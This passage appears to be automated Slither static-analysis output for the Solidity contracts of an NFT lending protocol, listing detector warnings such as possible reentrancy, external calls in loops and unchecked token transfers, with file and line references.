Reentrancy in LendPoolConfigurator.setFreezeFlagOnNftByTokenId(address[],uint256[],bool) (contracts/protocol/LendPoolConfigurator.sol#305-323):
        External calls:
        - cachedPool.setNftConfigByTokenId(assets[i],tokenIds[i],currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#315)
        Event emitted after the call(s):
        - NftTokenFrozen(assets[i],tokenIds[i]) (contracts/protocol/LendPoolConfigurator.sol#318)
        - NftTokenUnfrozen(assets[i],tokenIds[i]) (contracts/protocol/LendPoolConfigurator.sol#320)

Reentrancy in LendPoolConfigurator.setFreezeFlagOnReserve(address[],bool) (contracts/protocol/LendPoolConfigurator.sol#162-176):
        External calls:
        - cachedPool.setReserveConfiguration(assets[i],currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#168)
        Event emitted after the call(s):
        - ReserveFrozen(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#171)
        - ReserveUnfrozen(assets[i]) (contracts/protocol/LendPoolConfigurator.sol#173)
Reentrancy in LendPoolConfigurator.setNftMaxSupplyAndTokenId(address[],uint256,uint256) (contracts/protocol/LendPoolConfigurator.sol#465-476):
        External calls:
        - cachedPool.setNftMaxSupplyAndTokenId(assets[i],maxSupply,maxTokenId) (contracts/protocol/LendPoolConfigurator.sol#472)
        Event emitted after the call(s):
        - NftMaxSupplyAndTokenIdChanged(assets[i],maxSupply,maxTokenId) (contracts/protocol/LendPoolConfigurator.sol#474)
Reentrancy in LendPoolConfigurator.setNftMinBidFine(address,uint256,uint256) (contracts/protocol/LendPoolConfigurator.sol#444-457):
        External calls:
        - cachedPool.setNftConfigByTokenId(asset,nftTokenId,currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#454)
        Event emitted after the call(s):
        - NftMinBidFineChanged(asset,nftTokenId,minBidFine) (contracts/protocol/LendPoolConfigurator.sol#456)
Reentrancy in LendPoolConfigurator.setNftRedeemThreshold(address,uint256,uint256) (contracts/protocol/LendPoolConfigurator.sol#423-436):
        External calls:
        - cachedPool.setNftConfigByTokenId(asset,nftTokenId,currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#433)
        Event emitted after the call(s):
        - NftRedeemThresholdChanged(asset,nftTokenId,redeemThreshold) (contracts/protocol/LendPoolConfigurator.sol#435)
Reentrancy in LendPoolConfigurator.setReserveFactor(address[],uint256) (contracts/protocol/LendPoolConfigurator.sol#183-194):
        External calls:
        - cachedPool.setReserveConfiguration(assets[i],currentConfig.data) (contracts/protocol/LendPoolConfigurator.sol#190)
        Event emitted after the call(s):
        - ReserveFactorChanged(assets[i],reserveFactor) (contracts/protocol/LendPoolConfigurator.sol#192)
Reentrancy in LendPoolConfigurator.setReserveInterestRateAddress(address[],address) (contracts/protocol/LendPoolConfigurator.sol#201-207):
        External calls:
        - cachedPool.setReserveInterestRateAddress(assets[i],rateAddress) (contracts/protocol/LendPoolConfigurator.sol#204)
        Event emitted after the call(s):
        - ReserveInterestRateChanged(assets[i],rateAddress) (contracts/protocol/LendPoolConfigurator.sol#205)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
```

contracts/protocol/NFTOracle.sol

```
NFTOracle.getMultipleNFTPrices(address[],uint256[]) (contracts/protocol/NFTOracle.sol#247-266) has external calls inside a loop: _nftPrices[i] = this.getNFTPrice(_collections[i],_tokenIds[i]) (contracts/protocol/NFTOracle.sol#259)
NFTOracle.getNFTPriceNFTX(address,uint256) (contracts/protocol/NFTOracle.sol#283-313) has external calls inside a loop: nftxVault.allValidNFTs(tokenIds) (contracts/protocol/NFTOracle.sol#298)
NFTOracle.getNFTPriceNFTX(address,uint256) (contracts/protocol/NFTOracle.sol#283-313) has external calls inside a loop: swapPath[1] = IUniswapV2Router02(sushiswapRouter).WETH() (contracts/protocol/NFTOracle.sol#302)
NFTOracle.getNFTPriceNFTX(address,uint256) (contracts/protocol/NFTOracle.sol#283-313) has external calls inside a loop: amountIn = 1 ** IERC20MetadataUpgradeable(address(nftxVault)).decimals() (contracts/protocol/NFTOracle.sol#305)
NFTOracle.getNFTPriceNFTX(address,uint256) (contracts/protocol/NFTOracle.sol#283-313) has external calls inside a loop: amounts = IUniswapV2Router02(sushiswapRouter).getAmountsOut(amountIn,swapPath) (contracts/protocol/NFTOracle.sol#306)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#calls-inside-a-loop
```

contracts/protocol/PunkGateway.sol

```
PunkGateway._repayETH(uint256,uint256,uint256) (contracts/protocol/PunkGateway.sol#478-509) sends eth to arbitrary user
        Dangerous calls:
        - (paybackAmount,burn) =  wethGateway.repayETH{value: repayDebtAmount}(address(wrappedPunks),punkIndex,amount) (contracts/protocol/PunkGateway.sol#498-502)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations

PunkGateway._repayETH(uint256,uint256,uint256) (contracts/protocol/PunkGateway.sol#478-509) use msg.value in a loop: require(bool,string)(msg.value >= (accAmount + repayDebtAmount),msg.value is less than repay amount) (contracts/protocol/PunkGateway.sol#496)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#msgvalue-inside-a-loop
PunkGateway.borrow(address,uint256,uint256,address,uint16,uint256) (contracts/protocol/PunkGateway.sol#163-179) ignores return value by IERC20Upgradeable(reserveAsset).transfer(onBehalfOf,amount) (contracts/protocol/PunkGateway.sol#178)
PunkGateway.batchBorrow(address[],uint256[],uint256[],address,uint16,uint256) (contracts/protocol/PunkGateway.sol#184-214) ignores return value by IERC20Upgradeable(reserveAssets[i]).transfer(onBehalfOf,amounts[i]) (contracts/protocol/PunkGateway.sol#212)
PunkGateway._repay(uint256,uint256) (contracts/protocol/PunkGateway.sol#261-285) ignores return value by IERC20Upgradeable(reserve).transferFrom(msg.sender,address(this),amount) (contracts/protocol/PunkGateway.sol#275)
PunkGateway.auction(uint256,uint256,address) (contracts/protocol/PunkGateway.sol#287-305) ignores return value by IERC20Upgradeable(reserve).transferFrom(msg.sender,address(this),bidPrice) (contracts/protocol/PunkGateway.sol#302)
PunkGateway.redeem(uint256,uint256,uint256) (contracts/protocol/PunkGateway.sol#307-329) ignores return value by IERC20Upgradeable(loan.reserveAsset).transferFrom(msg.sender,address(this),(amount + bidFine)) (contracts/protocol/PunkGateway.sol#320)
PunkGateway.liquidate(uint256,uint256,uint256) (contracts/protocol/PunkGateway.sol#331-354) ignores return value by IERC20Upgradeable(loan.reserveAsset).transferFrom(msg.sender,address(this),amount) (contracts/protocol/PunkGateway.sol#342)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer

PunkGateway.authorizeLendPoolERC20(address[]) (contracts/protocol/PunkGateway.sol#102-106) ignores return value by IERC20Upgradeable(tokens[i]).approve(address(_getLendPool()),type()(uint256).max) (contracts/protocol/PunkGateway.sol#104)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

PunkGateway._depositPunk(uint256).owner (contracts/protocol/PunkGateway.sol#151) shadows:
        - OwnableUpgradeable.owner() (node_modules/@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol#48-50) (function)
PunkGateway._withdrawPunk(uint256,address).owner (contracts/protocol/PunkGateway.sol#217) shadows:
        - OwnableUpgradeable.owner() (node_modules/@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol#48-50) (function)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#local-variable-shadowing

PunkGateway._getLendPool() (contracts/protocol/PunkGateway.sol#87-89) has external calls inside a loop: ILendPool( addressProvider.getLendPool()) (contracts/protocol/PunkGateway.sol#88)
PunkGateway.authorizeLendPoolERC20(address[]) (contracts/protocol/PunkGateway.sol#102-106) has external calls inside a loop: IERC20Upgradeable(tokens[i]).approve(address(_getLendPool()),type()(uint256).max) (contracts/protocol/PunkGateway.sol#104)
PunkGateway._getLendPoolLoan() (contracts/protocol/PunkGateway.sol#94-96) has external calls inside a loop: ILendPoolLoan( addressProvider.getLendPoolLoan()) (contracts/protocol/PunkGateway.sol#95)
PunkGateway._depositPunk(uint256) (contracts/protocol/PunkGateway.sol#143-158) has external calls inside a loop: loanId = cachedPoolLoan.getCollateralLoanId(address(wrappedPunks),punkIndex) (contracts/protocol/PunkGateway.sol#146)
PunkGateway._depositPunk(uint256) (contracts/protocol/PunkGateway.sol#143-158) has external calls inside a loop: owner = punks.punkIndexToAddress(punkIndex) (contracts/protocol/PunkGateway.sol#151)
PunkGateway._depositPunk(uint256) (contracts/protocol/PunkGateway.sol#143-158) has external calls inside a loop: punks.buyPunk(punkIndex) (contracts/protocol/PunkGateway.sol#154)
PunkGateway._depositPunk(uint256) (contracts/protocol/PunkGateway.sol#143-158) has external calls inside a loop: punks.transferPunk(proxy,punkIndex) (contracts/protocol/PunkGateway.sol#155)
PunkGateway._depositPunk(uint256) (contracts/protocol/PunkGateway.sol#143-158) has external calls inside a loop: wrappedPunks.mint(punkIndex) (contracts/protocol/PunkGateway.sol#157)
PunkGateway.batchBorrow(address[],uint256[],uint256[],address,uint16,uint256) (contracts/protocol/PunkGateway.sol#184-214) has external calls inside a loop: cachedPool.borrow(reserveAssets[i],amounts[i],address(wrappedPunks),punkIndexes[i],onBehalfOf,referralCode,nftConfigFees) (contracts/protocol/PunkGateway.sol#202-210)
PunkGateway.batchBorrow(address[],uint256[],uint256[],address,uint16,uint256) (contracts/protocol/PunkGateway.sol#184-214) has external calls inside a loop: IERC20Upgradeable(reserveAssets[i]).transfer(onBehalfOf,amounts[i]) (contracts/protocol/PunkGateway.sol#212)
PunkGateway._repay(uint256,uint256) (contracts/protocol/PunkGateway.sol#261-285) has external calls inside a loop: loanId = cachedPoolLoan.getCollateralLoanId(address(wrappedPunks),punkIndex) (contracts/protocol/PunkGateway.sol#265)
PunkGateway._repay(uint256,uint256) (contracts/protocol/PunkGateway.sol#261-285) has external calls inside a loop: (reserve) = cachedPoolLoan.getLoanCollateralAndReserve(loanId) (contracts/protocol/PunkGateway.sol#267)
PunkGateway._repay(uint256,uint256) (contracts/protocol/PunkGateway.sol#261-285) has external calls inside a loop: (debt) = cachedPoolLoan.getLoanReserveBorrowAmount(loanId) (contracts/protocol/PunkGateway.sol#268)
PunkGateway._repay(uint256,uint256) (contracts/protocol/PunkGateway.sol#261-285) has external calls inside a loop: borrower = cachedPoolLoan.borrowerOf(loanId) (contracts/protocol/PunkGateway.sol#269)
PunkGateway._repay(uint256,uint256) (contracts/protocol/PunkGateway.sol#261-285) has external calls inside a loop: IERC20Upgradeable(reserve).transferFrom(msg.sender,address(this),amount) (contracts/protocol/PunkGateway.sol#275)
PunkGateway._repay(uint256,uint256) (contracts/protocol/PunkGateway.sol#261-285) has external calls inside a loop: (paybackAmount,burn) = cachedPool.repay(address(wrappedPunks),punkIndex,amount) (contracts/protocol/PunkGateway.sol#277)
PunkGateway._withdrawPunk(uint256,address) (contracts/protocol/PunkGateway.sol#216-224) has external calls inside a loop: owner = wrappedPunks.ownerOf(punkIndex) (contracts/protocol/PunkGateway.sol#217)
PunkGateway._withdrawPunk(uint256,address) (contracts/protocol/PunkGateway.sol#216-224) has external calls inside a loop: wrappedPunks.safeTransferFrom(onBehalfOf,address(this),punkIndex) (contracts/protocol/PunkGateway.sol#221)
PunkGateway._withdrawPunk(uint256,address) (contracts/protocol/PunkGateway.sol#216-224) has external calls inside a loop: wrappedPunks.burn(punkIndex) (contracts/protocol/PunkGateway.sol#222)
PunkGateway._withdrawPunk(uint256,address) (contracts/protocol/PunkGateway.sol#216-224) has external calls inside a loop: punks.transferPunk(onBehalfOf,punkIndex) (contracts/protocol/PunkGateway.sol#223)
PunkGateway._repayETH(uint256,uint256,uint256) (contracts/protocol/PunkGateway.sol#478-509) has external calls inside a loop: loanId = cachedPoolLoan.getCollateralLoanId(address(wrappedPunks),punkIndex) (contracts/protocol/PunkGateway.sol#495)
PunkGateway._repayETH(uint256,uint256,uint256) (contracts/protocol/PunkGateway.sol#478-509) has external calls inside a loop: borrower = cachedPoolLoan.borrowerOf(loanId) (contracts/protocol/PunkGateway.sol#488)
PunkGateway._repayETH(uint256,uint256,uint256) (contracts/protocol/PunkGateway.sol#478-509) has external calls inside a loop: (repayDebtAmount) = cachedPoolLoan.getLoanReserveBorrowAmount(loanId) (contracts/protocol/PunkGateway.sol#491)
PunkGateway._repayETH(uint256,uint256,uint256) (contracts/protocol/PunkGateway.sol#478-509) has external calls inside a loop: (paybackAmount,burn) = _wethGateway.repayETH{value: repayDebtAmount}(address(wrappedPunks),punkIndex,amount) (contracts/protocol/PunkGateway.sol#498-502)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#calls-inside-a-loop

PunkGateway._repayETH(uint256,uint256,uint256) (contracts/protocol/PunkGateway.sol#478-509) has external calls inside a loop: (paybackAmount,burn) = _wethGateway.repayETH{value: repayDebtAmount}(address(wrappedPunks),punkIndex,amount) (contracts/protocol/PunkGateway.sol#498-502)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#calls-inside-a-loop

Reentrancy in PunkGateway.initialize(address,address,address,address) (contracts/protocol/PunkGateway.sol#63-82):
        External calls:
        - wrappedPunks.registerProxy() (contracts/protocol/PunkGateway.sol#77)
        - proxy = wrappedPunks.proxyInfo(address(this)) (contracts/protocol/PunkGateway.sol#78)
        State variables written after the call(s):
        - proxy = wrappedPunks.proxyInfo(address(this)) (contracts/protocol/PunkGateway.sol#78)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-2

PunkGateway._checkValidCallerAndOnBehalfOf(address) (contracts/protocol/PunkGateway.sol#131-136) compares to a boolean constant:
        -require(bool,string)((onBehalfOf == _msgSender()) || (_callerWhitelists[_msgSender()] == true),Errors.CALLER_NOT_ONBEHALFOF_OR_IN_WHITELIST) (contracts/protocol/PunkGateway.sol#132-135)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#boolean-equality
```

contracts/protocol/WETHGateway.sol

```
WETHGateway._repayETH(address,uint256,uint256,uint256) (contracts/protocol/WETHGateway.sol#273-298) sends eth to arbitrary user
        Dangerous calls:
        - WETH.deposit{value: repayDebtAmount}() (contracts/protocol/WETHGateway.sol#294)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#functions-that-send-ether-to-arbitrary-destinations

WETHGateway._repayETH(address,uint256,uint256,uint256) (contracts/protocol/WETHGateway.sol#273-298) use msg.value in a loop: require(bool,string)(msg.value >= (accAmount + repayDebtAmount),msg.value is less than repay amount) (contracts/protocol/WETHGateway.sol#292)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#msgvalue-inside-a-loop

EmergencyTokenRecoveryUpgradeable.emergencyERC20Transfer(address,address,uint256) (contracts/protocol/EmergencyTokenRecoveryUpgradeable.sol#29-35) ignores return value by IERC20Upgradeable(token).transfer(to,amount) (contracts/protocol/EmergencyTokenRecoveryUpgradeable.sol#34)
WETHGateway.withdrawETH(uint256,address) (contracts/protocol/WETHGateway.sol#134-152) ignores return value by uWETH.transferFrom(msg.sender,address(this),amountToWithdraw) (contracts/protocol/WETHGateway.sol#148)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unchecked-transfer

WETHGateway.initialize(address,address) (contracts/protocol/WETHGateway.sol#54-63) ignores return value by WETH.approve(address(_getLendPool()),type()(uint256).max) (contracts/protocol/WETHGateway.sol#62)
WETHGateway.withdrawETH(uint256,address) (contracts/protocol/WETHGateway.sol#134-152) ignores return value by cachedPool.withdraw(address(WETH),amountToWithdraw,address(this)) (contracts/protocol/WETHGateway.sol#149)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#unused-return

WETHGateway._getLendPool() (contracts/protocol/WETHGateway.sol#68-70) has external calls inside a loop: ILendPool( addressProvider.getLendPool()) (contracts/protocol/WETHGateway.sol#69)
WETHGateway.authorizeLendPoolNFT(address[]) (contracts/protocol/WETHGateway.sol#83-87) has external calls inside a loop: IERC721Upgradeable(nftAssets[i]).setApprovalForAll(address(_getLendPool()),true) (contracts/protocol/WETHGateway.sol#85)
WETHGateway.batchBorrowETH(uint256[],address[],uint256[],address,uint16,uint256) (contracts/protocol/WETHGateway.sol#182-216) has external calls inside a loop: loanId = cachedPoolLoan.getCollateralLoanId(nftAssets[i],nftTokenIds[i]) (contracts/protocol/WETHGateway.sol#199)
WETHGateway.batchBorrowETH(uint256[],address[],uint256[],address,uint16,uint256) (contracts/protocol/WETHGateway.sol#182-216) has external calls inside a loop: IERC721Upgradeable(nftAssets[i]).safeTransferFrom(msg.sender,address(this),nftTokenIds[i]) (contracts/protocol/WETHGateway.sol#201)
WETHGateway.batchBorrowETH(uint256[],address[],uint256[],address,uint16,uint256) (contracts/protocol/WETHGateway.sol#182-216) has external calls inside a loop: cachedPool.borrow(address(WETH),amounts[i],nftAssets[i],nftTokenIds[i],onBehalfOf,referralCode,nftConfigFees) (contracts/protocol/WETHGateway.sol#203-211)
WETHGateway.batchBorrowETH(uint256[],address[],uint256[],address,uint16,uint256) (contracts/protocol/WETHGateway.sol#182-216) has external calls inside a loop: WETH.withdraw(amounts[i]) (contracts/protocol/WETHGateway.sol#213)
WETHGateway._safeTransferETH(address,uint256) (contracts/protocol/WETHGateway.sol#417-420) has external calls inside a loop: (success) = to.call{value: value}(new bytes(0)) (contracts/protocol/WETHGateway.sol#418)
WETHGateway._getLendPoolLoan() (contracts/protocol/WETHGateway.sol#75-77) has external calls inside a loop: ILendPoolLoan(_addressProvider.getLendPoolLoan()) (contracts/protocol/WETHGateway.sol#76)
WETHGateway._repayETH(address,uint256,uint256,uint256) (contracts/protocol/WETHGateway.sol#273-298) has external calls inside a loop: loanId = cachedPoolLoan.getCollateralLoanId(nftAsset,nftTokenId) (contracts/protocol/WETHGateway.sol#282)
WETHGateway._repayETH(address,uint256,uint256,uint256) (contracts/protocol/WETHGateway.sol#273-298) has external calls inside a loop: (reserveAsset,repayDebtAmount) = cachedPoolLoan.getLoanReserveBorrowAmount(loanId) (contracts/protocol/WETHGateway.sol#285)
WETHGateway._repayETH(address,uint256,uint256,uint256) (contracts/protocol/WETHGateway.sol#273-298) has external calls inside a loop: WETH.deposit{value: repayDebtAmount}() (contracts/protocol/WETHGateway.sol#294)
WETHGateway._repayETH(address,uint256,uint256,uint256) (contracts/protocol/WETHGateway.sol#273-298) has external calls inside a loop: (paybackAmount,burn) = cachedPool.repay(nftAsset,nftTokenId,amount) (contracts/protocol/WETHGateway.sol#295)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation/#calls-inside-a-loop

WETHGateway._checkValidCallerAndOnBehalfOf(address) (contracts/protocol/WETHGateway.sol#112-117) compares to a boolean constant:
        -require(bool,string)((onBehalfOf == _msgSender()) || (_callerWhitelists[_msgSender()] == true),Errors.CALLER_NOT_ONBEHALFOF_OR_IN_WHITELIST) (contracts/protocol/WETHGateway.sol#113-116)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#boolean-equality
```

contracts/libraries/logic/LiquidateLogic.sol

LiquidateLogic.executeAuction(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLendPoolStates,DataTypes.ExecuteAuctionParams).vars (contracts/libraries/logic/LiquidateLogic.sol#170) is a local variable never initialized
LiquidateLogic.executeLiquidate(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLendPoolStates,DataTypes.ExecuteLiquidateParams).vars (contracts/libraries/logic/LiquidateLogic.sol#441) is a local variable never initialized
LiquidateLogic.executeLiquidateOpensea(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLiquidateOpenseaParams).vars (contracts/libraries/logic/LiquidateLogic.sol#568) is a local variable never initialized
LiquidateLogic.executeRedeem(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLendPoolStates,DataTypes.ExecuteRedeemParams).vars (contracts/libraries/logic/LiquidateLogic.sol#301) is a local variable never initialized
LiquidateLogic.executeLiquidateNFTX(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLiquidateNFTXParams).vars (contracts/libraries/logic/LiquidateLogic.sol#690) is a local variable never initialized
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#uninitialized-local-variables

Reentrancy in LiquidateLogic.executeAuction(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLendPoolStates,DataTypes.ExecuteAuctionParams) (contracts/libraries/logic/LiquidateLogic.sol#160-266):
	External calls:
	- reserveData.updateState() (contracts/libraries/logic/LiquidateLogic.sol#194)
	- ILendPoolLoan(vars.loanAddress).auctionLoan(vars.initiator,vars.loanId,params.onBehalfOf,params.bidPrice,vars.borrowAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/LiquidateLogic.sol#236-243)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransferFrom(vars.initiator,address(this),params.bidPrice) (contracts/libraries/logic/LiquidateLogic.sol#246)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(loanData.bidderAddress,loanData.bidPrice) (contracts/libraries/logic/LiquidateLogic.sol#250)
	Event emitted after the call(s):
	- Auction(vars.initiator,loanData.reserveAsset,params.bidPrice,params.nftAsset,params.nftTokenId,params.onBehalfOf,loanData.borrower,vars.loanId) (contracts/libraries/logic/LiquidateLogic.sol#256-265)
Reentrancy in LiquidateLogic.executeLiquidate(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLendPoolStates,DataTypes.ExecuteLiquidateParams) (contracts/libraries/logic/LiquidateLogic.sol#433-538):
	External calls:
	- reserveData.updateState() (contracts/libraries/logic/LiquidateLogic.sol#469)
	- ILendPoolLoan(vars.poolLoan).liquidateLoan(loanData.bidderAddress,vars.loanId,nftData.uNftAddress,vars.borrowAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/LiquidateLogic.sol#493-499)
	- IDebtToken(reserveData.debtTokenAddress).burn(loanData.borrower,vars.borrowAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/LiquidateLogic.sol#501-505)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransferFrom(vars.initiator,address(this),vars.extraDebtAmount) (contracts/libraries/logic/LiquidateLogic.sol#512)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(reserveData.uTokenAddress,vars.borrowAmount) (contracts/libraries/logic/LiquidateLogic.sol#516)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(loanData.borrower,vars.remainAmount) (contracts/libraries/logic/LiquidateLogic.sol#520)
	- IERC721Upgradeable(loanData.nftAsset).safeTransferFrom(address(this),loanData.bidderAddress,params.nftTokenId) (contracts/libraries/logic/LiquidateLogic.sol#524)
	Event emitted after the call(s):
	- Liquidate(vars.initiator,loanData.reserveAsset,vars.borrowAmount,vars.remainAmount,loanData.nftAsset,loanData.nftTokenId,loanData.borrower,vars.loanId) (contracts/libraries/logic/LiquidateLogic.sol#526-535)
Reentrancy in LiquidateLogic.executeLiquidateNFTX(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLiquidateNFTXParams) (contracts/libraries/logic/LiquidateLogic.sol#683-807):
	External calls:
	- reserveData.updateState() (contracts/libraries/logic/LiquidateLogic.sol#728)
	- priceInReserve = ILendPoolLoan(vars.poolLoan).liquidateLoanNFTX(vars.loanId,nftData.uNftAddress,vars.borrowAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/LiquidateLogic.sol#742-747)
	- IDebtToken(reserveData.debtTokenAddress).burn(loanData.borrower,vars.borrowAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/LiquidateLogic.sol#763-767)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransferFrom(IUToken(reserveData.uTokenAddress).RESERVE_TREASURY_ADDRESS(),address(this),vars.extraDebtAmount) (contracts/libraries/logic/LiquidateLogic.sol#778-782)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(reserveData.uTokenAddress,vars.borrowAmount) (contracts/libraries/logic/LiquidateLogic.sol#786)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(vars.liquidator,vars.feeAmount) (contracts/libraries/logic/LiquidateLogic.sol#789)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(loanData.borrower,vars.remainAmount) (contracts/libraries/logic/LiquidateLogic.sol#793)
	Event emitted after the call(s):
	- LiquidateNFTX(loanData.reserveAsset,vars.borrowAmount,vars.remainAmount,loanData.nftAsset,loanData.nftTokenId,loanData.borrower,vars.loanId) (contracts/libraries/logic/LiquidateLogic.sol#796-804)
Reentrancy in LiquidateLogic.executeLiquidateOpensea(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLiquidateOpenseaParams) (contracts/libraries/logic/LiquidateLogic.sol#561-661):
	External calls:
	- reserveData.updateState() (contracts/libraries/logic/LiquidateLogic.sol#587)
	- ILendPoolLoan(vars.poolLoan).liquidateLoanOpensea(vars.loanId,vars.borrowAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/LiquidateLogic.sol#601)
	- priceInReserve = SushiSwapHelper.swapExactETHForTokens(addressesProvider,params.priceInEth,loanData.reserveAsset) (contracts/libraries/logic/LiquidateLogic.sol#604-608)
	- IDebtToken(reserveData.debtTokenAddress).burn(loanData.borrower,vars.borrowAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/LiquidateLogic.sol#624-628)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(reserveData.uTokenAddress,vars.borrowAmount) (contracts/libraries/logic/LiquidateLogic.sol#638)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(vars.liquidator,vars.feeAmount) (contracts/libraries/logic/LiquidateLogic.sol#641)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(loanData.borrower,vars.remainAmount) (contracts/libraries/logic/LiquidateLogic.sol#645)
	Event emitted after the call(s):
	- LiquidateOpensea(loanData.reserveAsset,vars.borrowAmount,vars.remainAmount,loanData.nftAsset,loanData.nftTokenId,loanData.borrower,vars.loanId) (contracts/libraries/logic/LiquidateLogic.sol#650-658)
Reentrancy in LiquidateLogic.executeRedeem(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLendPoolStates,DataTypes.ExecuteRedeemParams) (contracts/libraries/logic/LiquidateLogic.sol#293-409):
	External calls:
	- reserveData.updateState() (contracts/libraries/logic/LiquidateLogic.sol#329)
	- ILendPoolLoan(vars.poolLoan).redeemLoan(vars.initiator,vars.loanId,vars.repayAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/LiquidateLogic.sol#366-371)
	- IDebtToken(reserveData.debtTokenAddress).burn(loanData.borrower,vars.repayAmount,reserveData.variableBorrowIndex) (contracts/libraries/logic/LiquidateLogic.sol#373)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransferFrom(vars.initiator,reserveData.uTokenAddress,vars.repayAmount) (contracts/libraries/logic/LiquidateLogic.sol#379-383)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransfer(loanData.bidderAddress,loanData.bidPrice) (contracts/libraries/logic/LiquidateLogic.sol#387)
	- IERC20Upgradeable(loanData.reserveAsset).safeTransferFrom(vars.initiator,loanData.firstBidderAddress,vars.bidFine) (contracts/libraries/logic/LiquidateLogic.sol#390-394)
	Event emitted after the call(s):
	- Redeem(vars.initiator,loanData.reserveAsset,vars.repayAmount,vars.bidFine,loanData.nftAsset,loanData.nftTokenId,loanData.borrower,vars.loanId) (contracts/libraries/logic/LiquidateLogic.sol#397-406)
Reference: https://github.com/crytic/slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-3

LiquidateLogic.executeAuction(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLendPoolStates,DataTypes.ExecuteAuctionParams) (contracts/libraries/logic/LiquidateLogic.sol#160-266) uses timestamp for comparisons
	Dangerous comparisons:
	- require(bool,string)(block.timestamp <= vars.auctionEndTimestamp,Errors.LPL_BID_AUCTION_DURATION_HAS_END) (contracts/libraries/logic/LiquidateLogic.sol#229)
LiquidateLogic.executeRedeem(ILendPoolAddressesProvider,mapping(address => DataTypes.ReserveData),mapping(address => DataTypes.NftData),mapping(address => mapping(uint256 => DataTypes.NftConfigurationMap)),DataTypes.ExecuteLendPoolStates,DataTypes.ExecuteRedeemParams) (contracts/libraries/logic/LiquidateLogic.sol#293-409) uses timestamp for comparisons
	Dangerous comparisons:
	- require(bool,string)(block.timestamp <= vars.redeemEndTimestamp,Errors.LPL_BID_REDEEM_DURATION_HAS_END) (contracts/libraries/logic/LiquidateLogic.sol#326)
